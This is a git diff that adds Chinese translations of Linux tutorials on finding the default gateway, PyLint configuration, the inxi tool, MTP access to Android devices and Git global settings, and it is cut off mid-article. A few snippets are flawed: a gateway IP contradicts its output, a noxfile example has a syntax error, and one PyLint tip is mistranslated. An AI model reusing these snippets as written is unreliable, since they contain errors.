https://ostechnix.com/run-programs-in-a-directory-via-sudo/ +[2]: https://ostechnix.com/wp-content/uploads/2022/09/Deny-Command-Arguments-With-Sudo.png +[3]: https://ostechnix.com/wp-content/uploads/2022/09/Prevent-Command-Arguments-With-Sudo.png diff --git a/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md b/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md new file mode 100644 index 0000000000..006378d554 --- /dev/null +++ b/published/202210/20220919 How To Find Default Gateway IP Address In Linux And Unix From Commandline.md @@ -0,0 +1,323 @@ +[#]: subject: "How To Find Default Gateway IP Address In Linux And Unix From Commandline" +[#]: via: "https://ostechnix.com/find-default-gateway-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15158-1.html" + +在 Linux 中如何从命令行查找默认网关的 IP 地址 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/20/161605f5ispl5jslbpllss.jpg) + +> Linux 下查找网关或路由器 IP 地址的 5 种方法。 + +**网关** 是一个节点或一个路由器,当连接到同一路由器时,它允许两个或多个 IP 地址不同的主机相互通信。如果没有网关,它们将无法相互通信。换句话说,网关充当接入点,将网络数据从本地网络传输到远程网络。在本指南中,我们将看到在 Linux 和 Unix 中从命令行找到默认网关的所有可能方法。 + +### 在 Linux 中查找默认网关 + +Linux 中有各种各样的命令行工具可用于查看网关 IP 地址。最常用的工具是:`ip`、`ss` 和 `netcat`。我们将通过示例了解如何使用每种工具查看默认网关。 + +#### 1、使用 ip 命令查找默认网关 + +`ip` 命令用于显示和操作 Linux 中的路由、网络设备、接口和隧道。 + +要查找默认网关或路由器 IP 地址,只需运行: + +``` +$ ip route +``` + +或者: + +``` +$ ip r +``` + +或者: + +``` +$ ip route show +``` + +示例输出: + +``` +default via 192.168.1.101 dev eth0 proto static metric 100 +172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown +192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.20 metric 100 +``` + +你从输出中看到了 `default via 192.168.1.101` 这一行吗?它就是默认网关。我的默认网关是 `192.168.1.101`。 + +你可以使用 `-4` 参数只`显示 IPv4 网关`: + +``` +$ ip -4 route +``` + +或者,使用 `-6` 参数只**显示 IPv6 网关**: + +``` +$ ip -6 route +``` + +如你所见,IP 地址和子网详细信息也一并显示了。如果你想只显示默认网关,排除所有其他细节,可以使用 `ip route` 搭配 `awk` 命令,如下所示。 + +使用 `ip route` 和 `awk` 命令打印网关地址,执行命令: + +``` +$ ip route | awk '/^default/{print $3}' +``` + +(LCTT 译注:wsl1 上无输出结果,正常 Linux 发行版无问题) + +或者: + +``` +$ ip route show default | awk '{print $3}' +``` + +这将只列出网关 IP: + +示例输出: + +``` +192.168.1.101 +``` + +![使用 ip 命令列出默认网关][1] + +你也可以使用 [grep][2] 命令配合 `ip route` 对默认网关进行过滤。 + +使用 `ip route` 和 `grep` 查找默认网关 IP 地址,执行命令: + +``` +$ ip route | grep default +default via 192.168.1.101 dev eth0 proto static metric 100 +``` + +在最新的 Linux 发行版中,`ip route` 是查找默认网关 IP 地址的推荐命令。然而,你们中的一些人可能仍然在使用传统的工具,如 `route` 和 `netstat`。旧习难改,对吧?下面的部分将介绍如何在 Linux 中使用 `route` 和 `netstat` 命令确定网关。 + +#### 2、使用 route 命令显示默认网关 IP 地址 + +`route` 命令用于在较老的 Linux 发行版中显示和操作路由表,如 RHEL 6、CentOS 6 等。 + +如果你正在使用较老的 Linux 发行版,你可以使用 `route` 命令来显示默认网关。 + +请注意,在最新的 Linux 发行版中,`route` 工具已被弃用,`ip route` 命令取而代之。如果你因为某些原因仍然想使用 `route`,你需要安装它。 + +首先,我们需要检查哪个包提供了 `route` 命令。为此,在基于 RHEL 的系统上运行以下命令: + +``` +$ dnf provides route +``` + +示例输出: + +``` +net-tools-2.0-0.52.20160912git.el8.x86_64 : Basic networking tools +Repo : @System +Matched from: +Filename : /usr/sbin/route + +net-tools-2.0-0.52.20160912git.el8.x86_64 : Basic networking tools +Repo : baseos +Matched from: +Filename : /usr/sbin/route +``` + +如你所见,`net-tools` 包提供了 `route` 命令。所以,让我们使用以下命令来安装它: + +``` +$ sudo dnf install net-tools +``` + +现在,运行带有 `-n` 参数的 `route` 命令来显示 Linux 系统中的网关或路由器 IP 地址: + +``` +$ route -n +``` + +示例输出: + +``` +Kernel IP routing table +Destination Gateway Genmask Flags Metric Ref Use Iface +0.0.0.0 192.168.1.101 0.0.0.0 UG 100 0 0 eth0 +172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 +192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0 +``` + +![使用 route 命令显示默认网关 IP 地址][3] + +如你所见,网关 IP 地址是 192.168.1.101。你还将在 Flags 下面看到两个字母 `UG`。字母 `U` 代表接口是 “Up”(在运行),`G` 表示 “Gateway”(网关)。 + +#### 3、使用 netstat 命令查看网关 IP 地址 + +`netstat` 会输出 Linux 网络子系统的信息。使用 `netstat` 工具,我们可以在 Linux 和 Unix 系统中打印网络连接、路由表、接口统计信息、伪装连接和组播成员关系。 + +`netstat` 是 `net-tools` 包的一部分,所以确保你已经在 Linux 系统中安装了它。使用以下命令在基于 RHEL 的系统中安装它: + +``` +$ sudo dnf install net-tools +``` + +使用 netstat 命令打印默认网关 IP 地址: + +``` +$ netstat -rn +``` + +示例输出: + +``` +Kernel IP routing table +Destination Gateway Genmask Flags MSS Window irtt Iface +0.0.0.0 192.168.1.101 0.0.0.0 UG 0 0 0 eth0 +172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0 +192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 +``` + +![使用 netstat 命令查看网关 IP 地址][4] + +`netstat` 命令与 `route` 命令的输出信息相同。如上输出可知,网关的 IP 地址为 `192.168.1.191`,`UG` 表示网关连接的网卡是有效的,`G` 表示网关。 + +请注意 `netstat` 也已弃用,建议使用 `ss` 命令代替 `netstat`。 + +#### 4、使用 routel 命令打印默认网关或路由器 IP 地址 + +`routel` 是一个脚本,它以一种漂亮格式的输出路由。`routel` 脚本的输出让一些人认为比 `ip route` 列表更直观。 + +`routel` 脚本也是 `net-tools` 包的一部分。 + +打印默认网关或路由器 IP 地址,不带任何参数运行 `routel` 脚本,如下所示: + +``` +$ routel +``` + +示例输出: + +``` + target gateway source proto scope dev tbl + default 192.168.1.101 static eth0 + 172.17.0.0/ 16 172.17.0.1 kernel linkdocker0 + 192.168.1.0/ 24 192.168.1.20 kernel link eth0 + 127.0.0.0/ 8 local 127.0.0.1 kernel host lo local + 127.0.0.1 local 127.0.0.1 kernel host lo local +127.255.255.255 broadcast 127.0.0.1 kernel link lo local + 172.17.0.1 local 172.17.0.1 kernel hostdocker0 local + 172.17.255.255 broadcast 172.17.0.1 kernel linkdocker0 local + 192.168.1.20 local 192.168.1.20 kernel host eth0 local + 192.168.1.255 broadcast 192.168.1.20 kernel link eth0 local + ::1 kernel lo + ::/ 96 unreachable lo +::ffff:0.0.0.0/ 96 unreachable lo + 2002:a00::/ 24 unreachable lo + 2002:7f00::/ 24 unreachable lo + 2002:a9fe::/ 32 unreachable lo + 2002:ac10::/ 28 unreachable lo + 2002:c0a8::/ 32 unreachable lo + 2002:e000::/ 19 unreachable lo + 3ffe:ffff::/ 32 unreachable lo + fe80::/ 64 kernel eth0 + ::1 local kernel lo local +fe80::d085:cff:fec7:c1c3 local kernel eth0 local +``` + +![使用 routel 命令打印默认网关或路由器 IP 地址][5] + +只打印默认网关,和 `grep` 命令配合,如下所示: + +``` +$ routel | grep default + default 192.168.1.101 static eth0 +``` + +#### 5、从以太网配置文件中查找网关 + +如果你在 [Linux 或 Unix 中配置了静态 IP 地址][6],你可以通过查看网络配置文件查看默认网关或路由器 IP 地址。 + +在基于 RPM 的系统上,如 Fedora、RHEL、CentOS、AlmaLinux 和 Rocky Linux 等,网络接口卡配置存储在 `/etc/sysconfig/network-scripts/` 目录下。 + +查找网卡的名称: + +``` +# ip link show +``` + +示例输出: + +``` +1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 +2: eth0@if5: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 + link/ether d2:85:0c:c7:c1:c3 brd ff:ff:ff:ff:ff:ff link-netnsid 0 +``` + +网卡名为 `eth0`。所以让我们打开这个网卡文件的网卡配置: + +``` +# cat /etc/sysconfig/network-scripts/ifcfg-eth0 +``` + +示例输出: + +``` +DEVICE=eth0 +ONBOOT=yes +UUID=eb6b6a7c-37f5-11ed-a59a-a0e70bdf3dfb +BOOTPROTO=none +IPADDR=192.168.1.20 +NETMASK=255.255.255.0 +GATEWAY=192.168.1.101 +DNS1=8.8.8.8 +``` + +如你所见,网关 IP 为 `192.168.1.101`。 + +在 Debian、Ubuntu 及其衍生版中,所有的网络配置文件都存储在 `/etc/network` 目录下。 + +``` +$ cat /etc/network/interfaces +``` + +示例输出: + +``` +auto ens18 +iface ens18 inet static + address 192.168.1.150 + netmask 255.255.255.0 + gateway 192.168.1.101 + dns-nameservers 8.8.8.8 +``` + +请注意,此方法仅在手动配置 IP 地址时有效。对于启用 DHCP 的网络,需要按照前面的 4 种方法操作。 + +### 总结 + +在本指南中,我们列出了在 Linux 和 Unix 系统中找到默认网关的 5 种不同方法,我们还在每种方法中包含了显示网关/路由器 IP 地址的示例命令。希望它对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/find-default-gateway-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/09/Find-Default-Gateway-Using-ip-Command.png +[2]: https://ostechnix.com/the-grep-command-tutorial-with-examples-for-beginners/ +[3]: https://ostechnix.com/wp-content/uploads/2022/09/Display-Default-Gateway-IP-Address-Using-route-Command.png +[4]: https://ostechnix.com/wp-content/uploads/2022/09/View-Gateway-IP-Address-Using-netstat-Command.png +[5]: https://ostechnix.com/wp-content/uploads/2022/09/Print-Default-Gateway-IP-Address-Or-Router-IP-Address-Using-routel-Command.png +[6]: https://ostechnix.com/configure-static-ip-address-linux-unix/ diff --git a/published/202210/20220919 PyLint- The good, the bad, and the ugly.md b/published/202210/20220919 PyLint- The good, the bad, and the ugly.md new file mode 100644 index 0000000000..0320ece742 --- /dev/null +++ b/published/202210/20220919 PyLint- The good, the bad, and the ugly.md @@ -0,0 +1,186 @@ +[#]: subject: "PyLint: The good, the bad, and the ugly" +[#]: via: "https://opensource.com/article/22/9/pylint-good-bad-ugly" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15144-1.html" + +PyLint 的优点、缺点和危险 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/16/093840z9pnzfv9ykfccoq9.jpg) + +> 充分利用 PyLint。 + +敲黑板:PyLint 实际上很好! + +“PyLint 可以拯救你的生命”,这是一句夸张的描述,但没有你想象的那么夸张。PyLint 可以让你远离非常难找到的和复杂的缺陷。最差的情况下,它只可以节省测试运行的时间。最好的情况下,它可以帮你避免生产环境中复杂的错误。 + +### 优点 + +我不好意思说这种情况是多么普遍。测试的命名总是*那么奇怪*:没有人关心这个名称,而且通常也找不到一个自然的名称。例如以下代码: + +``` +def test_add_small(): +    # Math, am I right? +    assert 1 + 1 == 3 +    +def test_add_large(): +    assert 5 + 6 == 11 +    +def test_add_small(): +    assert 1 + 10 == 11 +``` + +测试生效: + +``` +collected 2 items                                                                         +test.py .. +2 passed +``` + +但问题是:如果你覆盖了一个测试的名称,测试框架将愉快地跳过这个测试! + +实际上,这些文件可能有数百行,而添加新测试的人可能并不知道所有的名称。除非有人仔细查看测试输出,否则一切看起来都很好。 + +最糟糕的是,*被覆盖测试的添加*、*被覆盖测试造成的破坏*,以及*连锁反应的问题*可能要几天、几月甚至几年才能发现。 + +### PyLint 会找到它 + +就像一个好朋友一样,PyLint 可以帮助你。 + +``` +test.py:8:0: E0102: function already defined line 1 +     (function-redefined) +``` + +### 缺点 + +就像 90 年代的情景喜剧一样,你对 PyLint 了解的越多,问题就越多。以下是一个库存建模程序的常规代码: + +``` +"""Inventory abstractions""" + +import attrs + +@attrs.define +class Laptop: +    """A laptop""" +    ident: str +    cpu: str +``` + +但 PyLint 似乎有自己的观点(可能形成于 90 年代),并且不怕把它们作为事实陈述出来: + +``` +$ pylint laptop.py | sed -n '/^laptop/s/[^ ]*: //p' +R0903: Too few public methods (0/2) (too-few-public-methods) +``` + +### 危险 + +有没有想过在一个数百万人使用的工具中加入自己未证实的观点?PyLint 每月有 1200 万次下载。 + +> “如果太挑剔,人们会取消检查” — 这是 PyLint GitHub 的 6987 号议题,于 2022 年 7 月 3 号提出 + +对于添加一个可能有许多误报的测试,它的态度是 ... “*嗯*”。 + +### 让它为你工作 + +PyLint 很好,但你需要小心地与它配合。为了让 PyLint 为你工作,以下是我推荐的三件事: + +#### 1、固定版本 + +固定你使用的 PyLint 版本,避免任何惊喜! + +在你的 `.toml` 文件中定义: + +``` +[project.optional-dependencies] +pylint = ["pylint"] +``` + +在代码中定义: + +``` +from unittest import mock +``` + +这与以下代码对应: + +``` +# noxfile.py +... +@nox.session(python=VERSIONS[-1]) +def refresh_deps(session): +    """Refresh the requirements-*.txt files""" +    session.install("pip-tools") +    for deps in [..., "pylint"]: +        session.run( +            "pip-compile", +            "--extra", +            deps, +            "pyproject.toml", +            "--output-file", +            f"requirements-{deps}.txt", +        ) +``` + +#### 2、默认禁止 + +禁用所有检查,然后启用那些你认为误报比率高的。(不仅仅是漏报/误报的比率!) + +``` +# noxfile.py +... +@nox.session(python="3.10") +def lint(session): +    files = ["src/", "noxfile.py"] +    session.install("-r", "requirements-pylint.txt") +    session.install("-e", ".") +    session.run( +        "pylint", +        "--disable=all", +        *(f"--enable={checker}" for checker in checkers) +        "src", +    ) +``` + +#### 3、检查器 + +以下是我喜欢的检查器。加强项目的一致性,避免一些明显的错误。 + +``` +checkers = [ +    "missing-class-docstring", +    "missing-function-docstring", +    "missing-module-docstring", +    "function-redefined", +] +``` + +### 使用 PyLint + +你可以只使用 PyLint 好的部分。在 CI 中运行它以保持一致性,并使用常用检查器。 + +放弃不好的部分:默认禁止检查器。 + +避免危险的部分:固定版本以避免意外。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/pylint-good-bad-ugly + +作者:[Moshe Zadka][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python_programming_question.png diff --git a/published/202210/20220920 3 ways to use the Linux inxi command.md b/published/202210/20220920 3 ways to use the Linux inxi command.md new file mode 100644 index 0000000000..b6d8e4e783 --- /dev/null +++ b/published/202210/20220920 3 ways to use the Linux inxi command.md @@ -0,0 +1,181 @@ +[#]: subject: "3 ways to use the Linux inxi command" +[#]: via: "https://opensource.com/article/22/9/linux-inxi-command" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15092-1.html" + +Linux inxi 命令的 3 种使用方法 +====== + +> 我在 Linux 上使用 inxi 来检查我的笔记本电脑电池、CPU 信息,甚至天气。 + +![Coding on a computer][1] + +当我在查询有关笔记本电脑电池健康状况的信息时,我偶然发现了 `inxi`。它是一个命令行系统信息工具,可提供有关你的 Linux 计算机(无论是笔记本电脑、台式机还是服务器)的大量信息。 + +`inxi` 命令采用 GPLv3 [许可证][2],许多 Linux 发行版都包含它。据它的 Git 存储库称:“inxi 努力支持最广泛的操作系统和硬件,从最简单的消费台式机到最先进的专业硬件和服务器。” + +文档很完善,并且该项目在线维护了完整的 [手册页][3]。安装后,你可以使用 `man inxi` 命令访问系统上的手册页。 + +### 在 Linux 上安装 inxi + +通常,你可以从发行版的软件仓库或应用中心安装 `inxi`。例如,在 Fedora、CentOS、Mageia 或类似发行版上: + +``` +$ sudo dnf install inxi +``` + +在 Debian、Elementary、Linux Mint 或类似发行版上: + +``` +$ sudo apt install inxi +``` + +你可以在 [此处][4] 找到有关 Linux 发行版安装选项的更多信息。 + +### 在 Linux 上使用 inxi 的 3 种方法 + +当你安装了 `inxi`,你可以探索它的所有选项。有许多选项可帮助你了解有关系统的更多信息。最基本的命令提供了系统的基本概览: + +``` +$ inxi -b +System: + Host: pop-os Kernel: 5.19.0-76051900-generic x86_64 bits: 64 + Desktop: GNOME 42.3.1 Distro: Pop!_OS 22.04 LTS +Machine: + Type: Laptop System: HP product: Dev One Notebook PC v: N/A + serial: + Mobo: HP model: 8A78 v: KBC Version 01.03 serial: + UEFI: Insyde v: F.05 date: 06/14/2022 +Battery: + ID-1: BATT charge: 50.6 Wh (96.9%) condition: 52.2/53.2 Wh (98.0%) +CPU: + Info: 8-core AMD Ryzen 7 PRO 5850U with Radeon Graphics [MT MCP] + speed (MHz): avg: 915 min/max: 400/4507 +Graphics: + Device-1: AMD Cezanne driver: amdgpu v: kernel + Device-2: Quanta HP HD Camera type: USB driver: uvcvideo + Display: x11 server: X.Org v: 1.21.1.3 driver: X: loaded: amdgpu,ati + unloaded: fbdev,modesetting,radeon,vesa gpu: amdgpu + resolution: 1920x1080~60Hz + OpenGL: + renderer: AMD RENOIR (LLVM 13.0.1 DRM 3.47 5.19.0-76051900-generic) + v: 4.6 Mesa 22.0.5 +Network: + Device-1: Realtek RTL8822CE 802.11ac PCIe Wireless Network Adapter + driver: rtw_8822ce +Drives: + Local Storage: total: 953.87 GiB used: 75.44 GiB (7.9%) +Info: + Processes: 347 Uptime: 15m Memory: 14.96 GiB used: 2.91 GiB (19.4%) + Shell: Bash inxi: 3.3.13 +``` + +### 1、显示电池状态 + +你可以使用 `-B` 选项检查电池健康状况。结果显示系统电池 ID、充电情况和其他信息: + +``` +$ inxi -B +Battery: +ID-1: BATT charge: 44.3 Wh (85.2%) condition: 52.0/53.2 Wh (97.7%) +``` + +### 2、显示 CPU 信息 + +使用 `-C` 选项了解有关 CPU 的更多信息: + +``` +$ inxi -C +CPU: + Info: 8-core model: AMD Ryzen 7 PRO 5850U with Radeon Graphics bits: 64 + type: MT MCP cache: L2: 4 MiB + Speed (MHz): avg: 400 min/max: 400/4507 cores: 1: 400 2: 400 3: 400 + 4: 400 5: 400 6: 400 7: 400 8: 400 9: 400 10: 400 11: 400 12: 400 13: 400 + 14: 400 15: 400 16: 400 +``` + +`inxi` 的输出默认使用彩色文本。你可以根据需要使用“颜色开关”进行更改以提高可读性。 + +命令选项是 `-c` 后跟 0 到 42 之间的任意数字以适合你的习惯。 + +``` +$ inxi -c 42 +``` + +以下是使用配色 5 和 7 的几个不同选项的示例: + +![inxi -c 5 command][5] + +该软件可以使用 Linux 系统中的传感器显示硬件温度、风扇速度和有关系统的其他信息。输入 `inxi -s` 并读取以下结果: + +![inxi -s][6] + +### 3、组合选项 + +如果支持,你可以组合 `inxi` 的选项以获得复杂的输出。例如,`inxi -S` 提供系统信息,`-v` 提供详细输出。将两者结合起来可以得到以下结果: + +``` +$ inxi -S +System: + Host: pop-os Kernel: 5.19.0-76051900-generic x86_64 bits: 64 + Desktop: GNOME 42.3.1 Distro: Pop!_OS 22.04 LTS + +$ inxi -Sv +CPU: 8-core AMD Ryzen 7 PRO 5850U with Radeon Graphics (-MT MCP-) +speed/min/max: 634/400/4507 MHz Kernel: 5.19.0-76051900-generic x86_64 +Up: 20m Mem: 3084.2/15318.5 MiB (20.1%) Storage: 953.87 GiB (7.9% used) +Procs: 346 Shell: Bash inxi: 3.3.13 +``` + +### 额外功能:查看天气 + +`inxi` 可以收集到的信息并不只有你的电脑。使用 `-w` 选项,你还可以获取你所在地区的天气信息: + +``` +$ inxi -w +Weather: + Report: temperature: 14 C (57 F) conditions: Clear sky + Locale: Wellington, G2, NZL + current time: Tue 30 Aug 2022 16:28:14 (Pacific/Auckland) + Source: WeatherBit.io +``` + +你可以通过指定你想要的城市和国家以及 `-W` 来获取世界其他地区的天气信息: + +``` +$ inxi -W rome,italy +Weather: + Report: temperature: 20 C (68 F) conditions: Clear sky + Locale: Rome, Italy current time: Tue 30 Aug 2022 06:29:52 + Source: WeatherBit.io +``` + +### 总结 + +有许多很棒的工具可以收集有关你的计算机的信息。我根据机器、桌面或我的心情使用不同的工具。你最喜欢的系统信息工具是什么? + +*图片来源:(Don Watkins,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/linux-inxi-command + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/code_computer_laptop_hack_work.png +[2]: https://github.com/smxi/inxi/blob/master/LICENSE.txt +[3]: https://smxi.org/docs/inxi-man.htm +[4]: https://smxi.org/docs/inxi-installation.htm#inxi-repo-install +[5]: https://opensource.com/sites/default/files/2022-09/inxi-c5.png +[6]: https://opensource.com/sites/default/files/2022-09/inxi-s.png diff --git a/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md b/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md new file mode 100644 index 0000000000..538eda057a --- /dev/null +++ b/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md @@ -0,0 +1,116 @@ +[#]: subject: "How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol (MTP)" +[#]: via: "https://www.debugpoint.com/how-to-access-android-devices-internal-storage-and-sd-card-in-ubuntu-linux-mint-using-media-transfer-protocol-mtp/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15097-1.html" + +如何在 Linux 中使用媒体传输协议访问安卓设备的内部存储和 SD 卡 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/165046qu9oddb5dk757z9e.jpg) + +> 本教程将展示如何在 Ubuntu 中使用 MTP 访问安卓设备以及如何访问 SD 卡内容。 + +MTP,即 [媒体传输协议][1]media transfer protocol,是图片传输协议的扩展,它在安卓 6.0(棉花糖)版本中实现。在更新了安卓 6.0 之后,你无法将安卓设备用作典型的大容量存储设备,以便让你直接插入并在文件管理器(例如 Thunar 或 GNOME Files)中查看内部存储内容和 SD 卡内容。这是由于操作系统无法确定 MTP 设备,而且还没有实现支持的设备列表。 + +### 在 Ubuntu、Linux Mint 中访问 Android 设备的步骤 + +使用以下命令为启用 MTP 的设备 [mtpfs][3] 安装 [libmtp][2] FUSE 文件系统: + +``` +sudo apt install go-mtpfs +sudo apt install libmtp +sudo apt install mtpfs mtp-tools +``` + +使用 USB 线缆将你的安卓设备插入 Ubuntu。 + +在你的安卓设备上,在主屏幕下拉,然后单击 “触摸获得更多选项Touch for more options
”。 + +在下面的菜单中,选择“传输文件(MTP)Transfer File (MTP)”选项: + +![MTP Option1][4] + +![MTP Option2][5] + +在终端中运行以下命令查找设备 ID 等。你可以在设备的命令输出中看到 `VID` 和 `PID`。记下这两个数字(在下图中高亮显示): + +``` +mtp-detect +``` + +![mtp-detect Command Output][6] + +使用以下命令使用文本编辑器打开安卓规则文件: + +``` +sudo gedit /etc/udev/rules.d/51-android.rules +``` + +如果你使用的是未安装 gedit 的最新 Ubuntu,请使用以下命令: + +``` +sudo gnome-text-editor /etc/udev/rules.d/51-android.rules +``` + +在 `51-android.rules` 文件中使用你设备的 VID 和 PID 输入以下行(你在上面的步骤中记下): + +``` +SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", ATTR{idProduct}=="2e82", MODE="0666" +``` + +保存并关闭文件。 + +运行以下命令通过 [systemd][7] 重启设备管理器: + +``` +sudo service udev restart +``` + +### 访问内容的后续步骤 + +接下来的步骤主要用于访问你的 Android 设备的外部 SD 卡的内容。 + +我必须这样做,因为文件管理器没有显示 SD 卡的内容。不过,这不是一个解决方案,但它是一种临时方案,根据这个 [Google 论坛帖子][8],它适用于大多数用户,并且适用于我的带有闪迪 SD 卡的摩托罗拉 G 2nd Gen: + +* 在 Ubuntu 中安全删除你连接的设备。 +* 关闭设备。从设备中取出 SD 卡。 +* 在没有 SD 卡的情况下打开设备。 +* 再次关闭设备。 +* 将 SD 卡重新插入并再次打开设备。 + +重启你的 Ubuntu 机器并插入你的安卓设备。 + +现在你可以看到你的安卓设备的内部存储和 SD 卡的内容。 + +![MTP Device Contents in Ubuntu][9] + +### 总结 + +上述在 Ubuntu 中访问安卓设备内容的教程在旧版和新版 Ubuntu 中的安卓设备(三星、一加和摩托罗拉)上都可以使用。如果你在访问内容时遇到困难,可以试试这些步骤,它可能会起作用。在我看来,MTP 与老式的即插即用方案相比非常慢。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/how-to-access-android-devices-internal-storage-and-sd-card-in-ubuntu-linux-mint-using-media-transfer-protocol-mtp/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Media_Transfer_Protocol +[2]: https://sourceforge.net/projects/libmtp/ +[3]: https://launchpad.net/ubuntu/+source/mtpfs +[4]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Option1.png +[5]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Option2.png +[6]: https://www.debugpoint.com/wp-content/uploads/2016/03/mtp-detect.png +[7]: https://www.debugpoint.com/systemd-systemctl-service/ +[8]: https://productforums.google.com/forum/#!topic/nexus/11d21gbWyQo;context-place=topicsearchin/nexus/category$3Aconnecting-to-networks-and-devices%7Csort:relevance%7Cspell:false +[9]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Device-Contents-in-Ubuntu.png diff --git a/published/202210/20220922 5 Git configurations I make on Linux.md b/published/202210/20220922 5 Git configurations I make on Linux.md new file mode 100644 index 0000000000..2e27d30261 --- /dev/null +++ b/published/202210/20220922 5 Git configurations I make on Linux.md @@ -0,0 +1,172 @@ +[#]: subject: "5 Git configurations I make on Linux" +[#]: via: "https://opensource.com/article/22/9/git-configuration-linux" +[#]: author: "Alan Formy-Duval https://opensource.com/users/alanfdoss" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15130-1.html" + +我在 Linux 中使用的 5 个 Git 配置 +====== + +> 这份简要指南能够帮助你快速开始使用 Git,以及配置一些选项。 + +![](https://img.linux.net.cn/data/attachment/album/202210/11/162338c314ls57bg51hd45.jpg) + +在 Linux 中设置 Git 十分简单,但为了获得完美的配置,我做了以下五件事: + +1. 创建全局配置 +2. 设置默认名称 +3. 设置默认邮箱地址 +4. 设置默认分支名称 +5. 设置默认编辑器 + +我使用 Git 管理我的代码、命令行脚本以及文档版本。这意味着每次我开始一项新的任务,首先我需要创建一个文件目录并将其添加到 Git 库中: + +``` +$ mkdir newproject +$ cd newproject +$ git init +``` + +有一些我一直想要的常规设置。不多,但可以避免我每次都进行配置。我喜欢利用 Git 的 *全局* 配置功能。 + +Git 提供了进行手动配置的 `git config` 命令,但这有一些注意事项。例如,通常你会设置邮箱地址。你可以通过运行 `git config user.email 你的邮件地址` 命令进行设置。然而,这只会在你当前所在的 Git 目录下起作用。 + +``` +$ git config user.email alan@opensource.com +fatal: not in a git directory +``` + +此外,当这个命令在 Git 仓库中运行时,它只会配置特定的一个仓库。在新的仓库中,你不得不重复这个步骤。我可以通过全局配置来避免重复。选项 `--global` 会指示 Git 将邮箱地址写入全局配置 `~/.gitconfig` 文件中,甚至在必要时会创建它: + +> 请记住,波浪线(`~`)代表你的主文件夹。在我的电脑中它是 `/home/alan`。 + +``` +$ git config --global user.email alan@opensource.com +$ cat ~/.gitconfig +[user] +        email = alan@opensource.com +``` + +这里的缺点是,如果你有大量偏好设置,需要输入很多命令,这将花费大量时间并且很容易出错。Git 提供了更加快捷有效的方式,可以直接编辑你的全局配置文件——这是我列表中的第一项! + +### 1、创建全局配置 + +如果你刚开始使用 Git,或许你还没有该文件。不用担心,让我们直接开始。只需要用 `--edit` 选项: + +``` +$ git config --global --edit +``` + +如果没有该文件,Git 将会创建一个包含以下内容的新文件,并使用你终端的默认编辑器打开它: + +``` +# This is Git's per-user 